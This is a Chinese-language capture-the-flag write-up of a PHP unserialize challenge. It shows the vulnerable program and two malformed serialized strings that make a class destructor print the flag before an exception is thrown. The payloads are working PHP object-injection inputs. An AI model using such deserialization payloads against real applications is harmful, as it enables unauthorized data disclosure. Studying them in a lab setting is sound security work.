https://ctftime.org/task/7404

题目描述

PHP's unserialization mechanism can be exceptional.

解题流程

程序代码

<?php
$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);
throw new Exception('Well that was unexpected…');
echo $a;

我们用以下代码产生一个正常的序列:

class B {
	
}

$a = array(1,2,new B(),3,4);
echo serialize($a);

用以上代码构造序列化数组:a:5:{i:0;i:1;i:1;i:2;i:2;O:1:"B":0:{}i:3;i:3;i:4;i:4;},把最后面的分号去掉变成a:5:{i:0;i:1;i:1;i:2;i:2;O:1:"B":0:{}i:3;i:3;i:4;i:4},将该序列发送给php程序即可显示flag。

<?php

$test = new B();
$serialize_test = serialize($test);
echo $serialize_test;

上述代码会产生序列:O:1:"B":0:{},把0改成1,序列变为O:1:"B":1:{},把这个序列发送给php程序也能获得flag。

相关文章:

  • 2021-05-30
  • 2021-08-07
  • 2021-09-13
  • 2022-12-23
  • 2022-12-23
  • 2021-06-11
  • 2021-07-06
  • 2021-11-10
猜你喜欢
  • 2021-07-30
  • 2022-12-23
  • 2021-09-18
  • 2021-07-28
  • 2022-12-23
  • 2021-12-27
  • 2021-11-17
相关资源
相似解决方案